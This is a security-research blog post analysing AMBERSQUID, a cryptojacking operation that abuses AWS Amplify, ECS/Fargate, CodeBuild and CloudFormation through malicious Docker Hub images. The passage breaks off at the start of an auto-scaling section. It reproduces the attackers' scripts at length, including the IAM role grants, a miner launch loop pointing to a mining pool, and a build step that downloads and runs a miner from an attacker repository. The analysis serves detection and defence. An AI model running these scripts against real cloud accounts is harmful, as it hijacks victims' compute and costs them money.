Cloud 101CircleEventsBlog
Missed CSA's Cyber Monday sale? You can still get 50% off the CCSK + CCZT Exam & Training Bundle and Token Bundle with raincheck code 'rcdoubledip24'

AWS’s Hidden Threat: AMBERSQUID Cloud-Native Cryptojacking Operation

Published 01/16/2024

AWS’s Hidden Threat: AMBERSQUID Cloud-Native Cryptojacking Operation

Originally published by Sysdig.

Written by Alessandro Brucato.

The Sysdig Threat Research Team (TRT) has uncovered a novel cloud-native cryptojacking operation which they’ve named AMBERSQUID. This operation leverages AWS services not commonly used by attackers, such as AWS Amplify, AWS Fargate, and Amazon SageMaker. The uncommon nature of these services means that they are often overlooked from a security perspective, and the AMBERSQUID operation can cost victims more than $10,000/day.

The AMBERSQUID operation was able to exploit cloud services without triggering the AWS requirement for approval of more resources, as would be the case if they only spammed EC2 instances. Targeting multiple services also poses additional challenges, like incident response, since it requires finding and killing all miners in each exploited service.

AMBERSQUID

We discovered AMBERSQUID by performing an analysis of over 1.7M Linux imagesin order to understand what kind of malicious payloads are hiding in the containers images on Docker Hub.

This dangerous container image didn’t raise any alarms during static scanning for known indicators or malicious binaries. It was only when the container was run that its cross-service cryptojacking activities became obvious. This is consistent with the findings of our 2023 Cloud Threat Report, in which we noted that 10% of malicious images are missed by static scanning alone.

With medium confidence, we attribute this operation to Indonesian attackers based on the use of Indonesian language in scripts and usernames. We also regularly see freejacking and cryptojacking attacks as a lucrative source of income for Indonesian attackers due to their low cost of living.


Technical Analysis

Docker Hub

The original container that initiated our investigation was found on Docker Hub, but the scope quickly expanded to include a number of accounts. Most of these accounts started with very basic container images running a cryptominer. However, they eventually switched over to the AWS-specific services described in this research.


Timeline

It is interesting to note that the first account was created in May 2022, and its development continued through August. The attackers continued pushing cryptominer images with different accounts until March 2023, when they created a GitHub account. Before creating their own repositories, making their operation a bit more evasive, the attackers downloaded miners from popular GitHub repositories and imported them into the layers of the Docker images. Their repositories don’t have any source code (yet) but they do provide the miners inside archives downloadable as releases. Those binaries are usually called “test,” packed with UPX and malformed so they cannot be easily unpacked.

AMBERSQUID

Below is the list of known Docker Hub users related to this operation. Some of the accounts seem to have been abandoned, while others continue to be active.


Malicious images from Docker Hub

If we dig deeper into delbidaluan/epicx, we discover a GitHub account that the attacker uses to store the Amplify application source code and the mining scripts mentioned above. They have different versions of their code to prevent being tracked by the GitHub search engine.

AMBERSQUID

For instance:

Before creating their Github account, the attacker used the cryptominer binaries without any obfuscation.

We have deduced that the images ending with “x” download the miners from the attackers’ repository releases and run them when launched, which can be seen in the layers. The epicx image, in particular, has over 100,000 downloads.

AMBERSQUID

The images without the final “x” run the scripts targeting AWS.


AWS Artifacts

Let’s begin with the artifact analysis using the container image delbidaluan/epic. The ENTRYPOINT of the Docker image is entrypoint.sh. All of the different images have the same format but can execute different scripts. In this case, the execution starts with the following:

<code><span class="hljs-comment">#!/bin/bash</span>

aws --version

aws configure set aws_access_key_id $ACCESS
aws configure set aws_secret_access_key $SECRET
aws configure set default.output text

git config --global user.name <span class="hljs-string">"GeeksforGeeks"</span>
git config --global user.email <span class="hljs-string">"[email protected]"</span></code>
    <small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> 
    <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span>
    <span class="shcb-language__paren">)</span></small>


They set up the AWS credentials with the environment variables or by passing them when deploying the image. Then, the GIT user and email are taken from the GeeksforGeeks example. The username exists on GitHub but with no activity.

The entrypoint.sh proceeds with the following scripts:

<code>./amplify-role.sh
./repo.sh
./jalan.sh
./update.sh
./ecs.sh
./ulang.sh</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Let’s explain each artifact and service the attacker is using to accomplish their cryptojacking operation.


Roles and permissions

The first script executed by the container, amplify-role.sh, creates the “AWSCodeCommit-Role” role. This new role is one of several used by the attacker throughout the operation as they add additional permissions for other AWS services. The first service, which is given access, is AWS Amplify. We will discuss the specifics around Amplify later in the article.

<code>aws iam create-role --role-name AWSCodeCommit-Role --assume-role-policy-document 
    file:<span class="hljs-regexp">//amplify</span>-role.json</code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Where amplify-role.json is:

<code>{
    <span class="hljs-string">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-string">"Statement"</span>: [
        {
            <span class="hljs-string">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-string">"Principal"</span>: {
                <span class="hljs-string">"Service"</span>: 
                    <span class="hljs-string">"amplify.amazonaws.com"</span>
            },
            <span class="hljs-string">"Action"</span>: <span class="hljs-string">"sts:AssumeRole"</span>
        }
    ]
}</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Then, it attaches the full access policies of CodeCommit, CloudWatch, and Amplify to that role.

<code>aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn 
    arn:aws:iam::aws:policy/AWSCodeCommitFullAccess
aws iam attach-role-policy --role-name AWSCodeCommit-Role 
    --policy-arn arn:aws:iam::aws:policy/CloudWatchFullAccess
aws iam attach-role-policy --role-name AWSCodeCommit-Role 
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess-Amplify</code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Some inline policies are added as well:

<code>aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name amed 
    --policy-document file:<span class="hljs-regexp">//amed</span>.json
aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name ampad 
    --policy-document file:<span class="hljs-regexp">//ampad</span>.json</code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


These policies grant full privileges of Amplify and amplifybackend services to all resources.

Finally, amplify-role.sh creates another role, “sugo-role,” with full access to SageMaker, as shown below:

<code>aws iam create-role --role-name sugo-role --assume-role-policy-document 
    file:<span class="hljs-regexp">//sugo</span>.json
aws iam attach-role-policy --role-name sugo-role 
    --policy-arn arn:aws:iam::aws:policy/AmazonSageMakerFullAccess</code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Where sugo.json is:

<code>{
    <span class="hljs-string">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-string">"Statement"</span>: [
        {
            <span class="hljs-string">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-string">"Principal"</span>: {
                <span class="hljs-string">"Service"</span>: 
                    <span class="hljs-string">"sagemaker.amazonaws.com"</span>
            },
            <span class="hljs-string">"Action"</span>: <span class="hljs-string">"sts:AssumeRole"</span>
        }
    ]
}</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


In the same way, the ecs.sh script starts creating the role, “ecsTaskExecutionRole,” with full access to ECS, other than administrative privileges.

<code>aws iam create-role --role-name ecsTaskExecutionRole 
    --assume-role-policy-document file:<span class="hljs-regexp">//ecs</span>TaskExecutionRole.json
aws iam attach-role-policy --role-name ecsTaskExecutionRole 
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-role-policy --role-name ecsTaskExecutionRole 
    --policy-arn arn:aws:iam::aws:policy/AmazonECS_FullAccess
aws iam attach-role-policy --role-name ecsTaskExecutionRole 
    --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy

[...]</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Where ecsTaskExecutionRole.json is:

<code>{
  <span class="hljs-string">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
  <span class="hljs-string">"Statement"</span>: [
    {
      <span class="hljs-string">"Sid"</span>: <span class="hljs-string">""</span>,
      <span class="hljs-string">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
      <span class="hljs-string">"Principal"</span>: {
        <span class="hljs-string">"Service"</span>: 
            <span class="hljs-string">"ecs-tasks.amazonaws.com"</span>
      },
      <span class="hljs-string">"Action"</span>: <span class="hljs-string">"sts:AssumeRole"</span>
    }
  ]
}</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


CodeCommit

AWS CodeCommit is a secure, highly scalable, fully-managed source control service that hosts private Git repositories. The attackers used this service to generate the private repository which they then used in different services as a source. This allows their operation to stay fully contained within AWS.

The repo.sh script creates a CodeCommit repository named “test” in every region.

<code>aws configure set region ca-central-<span class="hljs-number">1</span>
aws codecommit create-repository --repository-name test

./code.sh

echo <span class="hljs-string">"selesai region ca-central-1"</span></code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


Interestingly, “selesai” means “completed” in Indonesian.

Right after creating each, it executes code.sh which pushes via Git the source code of an Amplify app to the remote repository.

<code>cd amplify-app
rm -rf .git
git init
git add .
git commit -<strong>m</strong> <span class="hljs-string">"web app"</span>
git branch -<strong>m</strong> master
git status

git config --global credential.helper 
    <span class="hljs-string">'!aws codecommit credential-helper $@'</span>
git config --global credential.UseHttpPath true

git remote remove codecommit
REPO=$(aws codecommit get-repository --repository-name test 
    --query <span class="hljs-string">'repositoryMetadata.cloneUrlHttp'</span>| <strong>tr</strong> 
    -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
git remote add codecommit $REPO
git <strong>push</strong> codecommit master --force</code><small><span class="shcb-language__label">
    Code language:</span> <span class="shcb-language__name">Perl</span> 
    <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span>
    <span class="shcb-language__paren">)</span></small>


Amplify

AWS Amplify is a development platform that allows developers to build and deploy scalable web and mobile applications. It provides a framework to integrate the app with multiple other AWS services, such as AWS Cognito for authentication, AWS AppSync for APIs, and AWS S3 for storage. Most importantly, Amplify provides the attacker access to compute resources.

Once the attackers created the private repositories, the next script jalan.sh executes another script, sup0.sh, in each region.

<code>aws configure set region us-east-<span class="hljs-number">1</span>
./sup<span class="hljs-number">0</span>.sh
echo <span class="hljs-string">"selesai region us-east-1"</span></code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


The sup0.sh script creates five Amplify web apps from the previously created repositories. The “amplify-app” directory present in code.sh includes the files needed to run their miners using Amplify, as some services do require file backing as seen here.

What follows is amplify.yml:

<code>version: <span class="hljs-number">1</span>
frontend:
  phases:
    build:
      commands:
        - python3 index.py
        - ./<strong>time</strong>

  artifacts:
    baseDirectory: <span class="hljs-regexp">/
    files:
      - '**/</span>*<span class="hljs-string">'</span></code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


While this is the content of index.py:

<code>import json
import datetime
import os
import <strong>time</strong>

os.system(<span class="hljs-string">"./start"</span>)

def handler(event, context):
    data = {
        <span class="hljs-string">'output'</span>: <span class="hljs-string">'Hello World'</span>,
        <span class="hljs-string">'timestamp'</span>: datetime.datetime.utcnow().isoformat()
    }
    <strong>return</strong> {<span class="hljs-string">'statusCode'</span>: 
        <span class="hljs-number">200</span>,
            <span class="hljs-string">'body'</span>: json.dumps(data),
            <span class="hljs-string">'headers'</span>: {<span class="hljs-string">'Content-Type'</span>: 
                <span class="hljs-string">'application/json'</span>}}
</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


It runs the following start script, which executes the cryptominer:

<code>nohup bash -c <span class="hljs-string">'for i in {1..99999}; do ./test --disable-gpu 
    --algorithm randomepic --pool 74.50.74.27:4416 --wallet rizal91#amplify-$(echo $(date +%H)) 
    --password kiki311093m=solo -t $(nproc --all) --tls false --cpu-threads-intensity 1 
    --keep-alive true --log-file meta1.log; done'</span> > program.out 
    <span class="hljs-number">2</span>>&<span class="hljs-number">1</span> &</code><small>
    <span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


The “test” binary is a cryptominer, which was packed with UPX and malformed in order to make analysis more difficult. Also, it is undetected by VirusTotal. The results in Telemetry show that it was previously uploaded as “SRBMiner-MULTI”, which finds confirmation in the documentation related to Epic Cash mining:

<code>./SRBMiner-MULTI --multi-algorithm-job-mode <span class="hljs-number">1</span> --disable-gpu 
    --algorithm randomepic --pool lt.epicmine.io:<span class="hljs-number">3334</span> --tls true 
    --wallet your_username.worker_name --password your_passwordm=pool 
    --keepalive true</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


We can assume that the attackers do this to avoid any downloads from outside the account’s own repository, thus avoiding possible alerts.

The other script they run in amplify.yml, named time, is used to make the build last as long as possible while the miner process is running:

<code><strong>for</strong> i in {<span class="hljs-number">1</span>..<span class="hljs-number">6500000</span>}
<strong>do</strong>
pgrep -<strong>x</strong> test;
<strong>sleep</strong> <span class="hljs-number">3</span>;
done</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small>


The attackers use their scripts to create several Amplify web apps to be deployed with Amplify Hosting. In the configuration file for the build settings, they inserted the commands to run a miner that is executed during the build phase of the app. The following code is part of sup0.sh script:

<code>REPO=$(aws codecommit get-repository --repository-name test --query 
    <span class="hljs-string">'repositoryMetadata.cloneUrlHttp'</span>| <strong>tr</strong> 
    -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
IAM=$(aws iam get-role --role-name AWSCodeCommit-Role --query 
    <span class="hljs-string">'Role.Arn'</span>| <strong>tr</strong> 
    -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)

<strong>for</strong> i in {<span class="hljs-number">1</span>..<span class="hljs-number">5</span>}
<strong>do</strong>
aws amplify create-app --name task$i --repository $REPO  --platform WEB  
    --iam-service-role-arn $IAM --environment-variables 
    <span class="hljs-string">'{"_BUILD_TIMEOUT":"480","BUILD_ENV":"prod"}'</span> 
    --enable-branch-auto-build  --enable-branch-auto-deletion  --<strong>no</strong>-enable-basic-auth \
--build-spec <span class="hljs-string">"
version: 1
frontend:
  phases:
    build:
      commands:
        - timeout 280000 python3 index.py

  artifacts:
    baseDirectory: /
    files:
      - '**/*'

"</span> \
--enable-auto-branch-creation --auto-branch-creation-patterns 
    <span class="hljs-string">'["*","*/**"]'</span> --auto-branch-creation-config 
    <span class="hljs-string">'{"stage": "PRODUCTION",  "enableAutoBuild": true,  "environmentVariables": 
    {" ": " "},"enableBasicAuth": false, "enablePullRequestPreview":false}'</span>
</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small>


The commands are then executed inside build instances: EC2 instances provided by AWS used to build the application.

For the first time, we discover attackers abusing AWS Amplify for cryptojacking.

It is also interesting to see how they enable auto-build, so that once the applications are created, the repo code is updated with the update.sh script so that they are deployed again.

Additionally, in another image (tegarhuta/ami) from a user who is part of the same pool, we discovered instructions for creating an Amplify app in the same folder where the cryptomining scripts were stored. One of the URLs is an Amplify app that appears to be running at the time of writing.

The site was hosted at `https://master[.]d19tgz4vpyd5[.]amplifyapp[.]com/.`


Elastic Container Service (ECS) / Fargate

The next script, ecs.sh, is obviously used to do cryptojacking in AWS ECS service. Amazon ECS is an orchestration service used to manage and deploy containers. Tasks and services are grouped in ECS clusters, which can run on EC2 instances, AWS Fargate (serverless), or on-premises virtual machines.

This script creates the “ecsTaskExecutionRole” role that can be assumed from the ECS tasks service. Then, it attaches the “AdministratorAccess”, “AmazonECS_FullAccess,” and “AmazonECSTaskExecutionRolePolicy” policies to it. This is the same process described above in the IAM section.

After that, it writes an ECS task definition where the image used to start the container is delbidaluan/epicx, a miner image belonging to the same Docker Hub user. The resources are set so that the container has 2 vCPu and 4 GB of memory. It is also configured to run on Fargate by setting the option “”requiresCompatibilities”: [ “FARGATE” ]”.

Then, for each region:

  • It creates an ECS cluster in Fargate
  • It registers the previous task definition
  • It queries the quota of Fargate On-Demand vCPU available and creates an ECS service according to that result:
    • If the quota equals 30.0, the “desiredCount” of the service is set to 30.
    • Otherwise, the “desiredCount” of the service is set to 6.
<code>aws configure set region us-east-<span class="hljs-number">1</span>

aws ecs create-cluster \
--cluster-name test \
--capacity-providers FARGATE FARGATE_SPOT \
--default-capacity-provider-strategy capacityProvider=FARGATE,weight=<span class="hljs-number">1</span> 
    capacityProvider=FARGATE_SPOT,weight=<span class="hljs-number">1</span>
<strong>sleep</strong> <span class="hljs-number">10</span><strong>s</strong>
aws ecs create-cluster \
--cluster-name test \
--capacity-providers FARGATE FARGATE_SPOT \
--default-capacity-provider-strategy capacityProvider=FARGATE,weight=<span class="hljs-number">1</span> 
    capacityProvider=FARGATE_SPOT,weight=<span class="hljs-number">1</span>

aws ecs register-task-definition --family test --cli-input-json file:<span class="hljs-regexp">//task</span>.json

LIFAR=$(aws service-quotas get-service-quota --service-code fargate 
    --quota-code L-<span class="hljs-number">3032</span>A538 --query <span class="hljs-string">'Quota.Value'</span>)
<strong>if</strong> [ $LIFAR = <span class="hljs-string">"30.0"</span> ];
then
COUNT=<span class="hljs-number">30</span>
VPC=$(aws ec2 describe-vpcs --query <span class="hljs-string">'Vpcs[0].VpcId'</span>| 
    <strong>tr</strong> -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
SGROUP=$(aws ec2 describe-security-groups --filters 
    <span class="hljs-string">"Name=vpc-id,Values=$VPC"</span> --query 
    <span class="hljs-string">'SecurityGroups[0].GroupId'</span> | <strong>tr</strong> 
    -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
SUBNET=$(aws ec2 describe-subnets --query <span class="hljs-string">'Subnets[0].SubnetId'</span> | 
    <strong>tr</strong> -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
SUBNET1=$(aws ec2 describe-subnets --query <span class="hljs-string">'Subnets[1].SubnetId'</span> | 
    <strong>tr</strong> -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
aws ecs create-service --cluster test --service-name test 
    --task-definition test:<span class="hljs-number">1</span> --desired-count $COUNT 
    --capacity-provider-strategy capacityProvider=FARGATE,weight=<span class="hljs-number">1</span> 
    capacityProvider=FARGATE_SPOT,weight=<span class="hljs-number">1</span> --platform-version LATEST 
    --network-configuration <span class="hljs-string">
    "awsvpcConfiguration={subnets=[$SUBNET,$SUBNET1],securityGroups=[$SGROUP],assignPublicIp=ENABLED}"</span>

<strong>else</strong>
COUNT=<span class="hljs-number">6</span>
VPC=$(aws ec2 describe-vpcs --query <span class="hljs-string">'Vpcs[0].VpcId'</span>| <strong>tr</strong> 
    -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> <span class="hljs-regexp">/dev/null</span>)
SGROUP=$(aws ec2 describe-security-groups --filters <span class="hljs-string">"Name=vpc-id,Values=$VPC"</span> 
    --query <span class="hljs-string">'SecurityGroups[0].GroupId'</span> | <strong>tr</strong> 
    -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> <span class="hljs-regexp">/dev/null</span>)
SUBNET=$(aws ec2 describe-subnets --query <span class="hljs-string">'Subnets[0].SubnetId'</span> | 
    <strong>tr</strong> -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
SUBNET1=$(aws ec2 describe-subnets --query <span class="hljs-string">'Subnets[1].SubnetId'</span> | 
    <strong>tr</strong> -d <span class="hljs-string">'"'</span> <span class="hljs-number">2</span>> 
    <span class="hljs-regexp">/dev/null</span>)
aws ecs create-service --cluster test --service-name test --task-definition test:<span class="hljs-number">1</span> 
    --desired-count $COUNT --capacity-provider-strategy 
    capacityProvider=FARGATE,weight=<span class="hljs-number">1</span> 
    capacityProvider=FARGATE_SPOT,weight=<span class="hljs-number">1</span> --platform-version LATEST 
    --network-configuration <span class="hljs-string">
    "awsvpcConfiguration={subnets=[$SUBNET,$SUBNET1],securityGroups=[$SGROUP],assignPublicIp=ENABLED}"</span>
fi</code><small><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> 
    <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span>
    <span class="shcb-language__paren">)</span></small>


According to the documentation, the desiredCount is “the number of instantiations of the specified task definition to place and keep running in your service. If the number of tasks running in a service drops below the desiredCount, Amazon ECS runs another copy of the task in the specified cluster.”

The final entrypoint script, ulang.sh, runs restart.sh for every region. This script simply queries all the jobs of all the Amplify apps and, if their status is different from “RUNNING” and “PENDING,” it re-runs them.


Codebuild scripts

AWS CodeBuild is a continuous integration (CI) service that can be used to compile and test source code and produce deployable artifacts without managing build servers. When creating a project, users can specify several settings in the build specification, including build commands.

This is where the attackers put the command to run their miner.

<code>aws configure set region ap-south-<span class="hljs-number">1</span>
aws codebuild create-project --name tost \
[...]

aws codebuild create-project --name tost1 \
[...]

aws codebuild create-project --name tost2 \
--source <span class="hljs-string">'{"type": "CODECOMMIT","location": 
    "https://git-codecommit.ap-south-1.amazonaws.com/v1/repos/test","gitCloneDepth": 1,
    "gitSubmodulesConfig": {    "fetchSubmodules": false},"buildspec": "version: 0.2\nphases:\n  build:\n    
    commands:\n      - python3 index.py\n      - ./time","insecureSsl": false}'</span> \
--source-version refs/heads/master \
--artifacts <span class="hljs-string">'{"type": "NO_ARTIFACTS"}'</span> \
--environment <span class="hljs-string">'{"type": "LINUX_CONTAINER","image": 
    "aws/codebuild/amazonlinux2-x86_64-standard:4.0","computeType": "BUILD_GENERAL1_LARGE",
    "environmentVariables": [],"privilegedMode": false,"imagePullCredentialsType": "CODEBUILD"}'</span> \
--service-role $ROLE_ARN \
--timeout-in-minutes <span class="hljs-number">480</span> \
--queued-timeout-in-minutes <span class="hljs-number">480</span> \
--logs-config <span class="hljs-string">'{"cloudWatchLogs": {"status": "ENABLED"},"s3Logs": 
    {"status": "DISABLED","encryptionDisabled": false}}'</span>
aws codebuild start-build --project-name tost1
aws codebuild start-build --project-name tost2
aws codebuild start-build --project-name tost</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small>


As shown above, attackers create three new projects in each region with the previously created repository and run the index.py when the project starts building. As for Amplify, the malicious code is executed inside build instances. The previous code snippet shows the specifications of the build, the OS, the Docker image to be used, its compute type, and information about the logs of the build project — in this case, CloudWatch.

Also, they set the “timeout-in-minutes” to 480 (8 hours). This parameter, according to the documentation, specifies “how long, in minutes, from 5 to 480 (8 hours), for CodeBuild to wait before it times out any build that has not been marked as completed.”


CloudFormation

AWS CloudFormation is an infrastructure as code service that allows users to deploy AWS and third-party resources via templates. Templates are text files that describe the resources to be provisioned in the AWS CloudFormation stacks. Stacks are collections of AWS resources that can be managed as single units. This means that users are able to operate directly with the stack instead of the single resources.

The attackers’ scripts create several CloudFormation stacks that originated from a template that defines an EC2 Image Builder component. Within this component, they put commands to run a miner during the build phase of the image. This is similar to the commands that can be defined in a Dockerfile.

For each region, it creates a CloudFormation stack where they insert the commands to run the miner inside the ImageBuilder Component:

<code>Component:
    Type: AWS::ImageBuilder::Component
    Properties:
      Name: HelloWorld-ContainerImage-Component
      Platform: Linux
      Version: <span class="hljs-number">1.0</span>.<span class="hljs-number">0</span>
      Description: <span class="hljs-string">
        'This is a sample component that demonstrates defining the build, validation, 
        and test phases for an image build lifecycle'</span>
      ChangeDescription: <span class="hljs-string">'Initial Version'</span>
      Data: |
        name: Hello World
        description: This is hello world compocat nent doc <strong>for</strong> Linux.
        schemaVersion: <span class="hljs-number">1.0</span>

        phases:
          - name: build
            steps:
              - name: donStep
                action: ExecuteBash
                inputs:
                  commands:
                    - sudo yum install wget unzip -<strong>y</strong> && wget 
                        --<strong>no</strong>-check-certificate https:<span class="hljs-regexp">
                        //github</span>.com/meuryalos/profile/releases/download/
                        <span class="hljs-number">1.0</span>.<span class="hljs-number">0</span>
                        /test.zip && sudo unzip test.zip
          - name: validate
            steps:
              - name: buildStep
                action: ExecuteBash
                inputs:
                  commands:
                    - sudo ./start
                    - sudo timeout <span class="hljs-number">48</span><strong>m</strong> 
                        ./<strong>time</strong></code><small><span class="shcb-language__label">
                        Code language:</span> <span class="shcb-language__name">Perl</span> 
                        <span class="shcb-language__paren">(</span><span class="shcb-language__slug">
                        perl</span><span class="shcb-language__paren">)</span></small>


They also specified the possible instance types for the build instance to be created:

<code>BuildInstanceType:
    Type: CommaDelimitedList
    Default: <span class="hljs-string">"c5.xlarge,c5a.xlarge,r5.xlarge,r5a.xlarge"</span></code>
        <small><span class="shcb-language__label">Code language:</span> 
        <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
        (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
        </span></small>


Then, it creates eight EC2 image pipelines with the following input JSON file:

<code>{
    <span class="hljs-string">"name"</span>: <span class="hljs-string">"task$i"</span>,
    <span class="hljs-string">"description"</span>: <span class="hljs-string">"Builds image"</span>,
    <span class="hljs-string">"containerRecipeArn"</span>: <span class="hljs-string">"$CONTAINER"</span>,
    <span class="hljs-string">"infrastructureConfigurationArn"</span>: <span class="hljs-string">"$INFRA"</span>,
    <span class="hljs-string">"distributionConfigurationArn"</span>: <span class="hljs-string">"$DISTRI"</span>,
    <span class="hljs-string">"imageTestsConfiguration"</span>: {
        <span class="hljs-string">"imageTestsEnabled"</span>: true,
        <span class="hljs-string">"timeoutMinutes"</span>: <span class="hljs-number">60</span>
    },
    <span class="hljs-string">"schedule"</span>: {
        <span class="hljs-string">"scheduleExpression"</span>: <span class="hljs-string">"cron(* 0/1 * * ?)"</span>,
        <span class="hljs-string">"pipelineExecutionStartCondition"</span>: 
            <span class="hljs-string">"EXPRESSION_MATCH_ONLY"</span>
    },
    <span class="hljs-string">"status"</span>: <span class="hljs-string">"ENABLED"</span>
}</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


The most significant part of the previous code snippet is the cron expression since it tells the pipeline to start a new build every minute.

Their Docker images contain one of those JSON files that was previously used in a real environment and leaks an AWS Account ID (it might belong to one of the attackers’ testing environments):

<code>{
    <span class="hljs-string">"name"</span>: <span class="hljs-string">"task8"</span>,
    <span class="hljs-string">"description"</span>: <span class="hljs-string">"Builds image"</span>,
    <span class="hljs-string">"containerRecipeArn"</span>: <span class="hljs-string">
        "arn:aws:imagebuilder:us-east-1:909030629651:container-recipe/amazonlinux2-container-recipe/1.0.0"
        </span>,
    <span class="hljs-string">"infrastructureConfigurationArn"</span>: <span class="hljs-string">"
        arn:aws:imagebuilder:us-east-1:909030629651:infrastructure-configuration/amazonlinux2-containerimage-
            infrastructure-configuration"</span>,
    <span class="hljs-string">"distributionConfigurationArn"</span>: <span class="hljs-string">"
        arn:aws:imagebuilder:us-east-1:909030629651:distribution-configuration/amazonlinux2-container-
        distributionconfiguration"</span>,
    <span class="hljs-string">"imageTestsConfiguration"</span>: {
        <span class="hljs-string">"imageTestsEnabled"</span>: true,
        <span class="hljs-string">"timeoutMinutes"</span>: <span class="hljs-number">60</span>
    },
    <span class="hljs-string">"schedule"</span>: {
        <span class="hljs-string">"scheduleExpression"</span>: 
            <span class="hljs-string">"cron(* 0/1 * * ?)"</span>,
        <span class="hljs-string">"pipelineExecutionStartCondition"</span>: 
            <span class="hljs-string">"EXPRESSION_MATCH_ONLY"</span>
    },
    <span class="hljs-string">"status"</span>: <span class="hljs-string">"ENABLED"</span>
}</code><small><span class="shcb-language__label">Code language:</span> 
    <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">
    (</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)
    </span></small>


EC2 Auto Scaling
